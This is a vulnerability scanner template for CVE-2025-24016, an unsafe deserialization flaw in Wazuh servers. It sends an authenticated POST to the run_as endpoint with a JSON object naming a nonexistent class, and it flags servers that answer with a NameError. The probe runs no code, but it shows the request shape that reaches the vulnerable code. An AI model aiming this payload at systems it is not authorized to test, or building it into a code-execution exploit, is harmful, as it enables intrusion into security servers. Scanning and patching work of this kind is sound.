id: CVE-2025-24016

info:
  name: Wazuh - Insecure Deserialization
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in
    version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code
    execution on Wazuh servers.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-24016&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wazuh&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-24016
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,wazuh,deserialization,rce,authenticated,kev,vkev,vuln
flow: http(1) && http(2)

variables:
  payload: '{"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}}'

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "NameError"
        negative: true
        internal: true

  - raw:
      - |
        POST /security/user/authenticate/run_as HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64(username + ':' + password)}}

        {{payload}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "NameError"

      - type: status
        status:
          - 500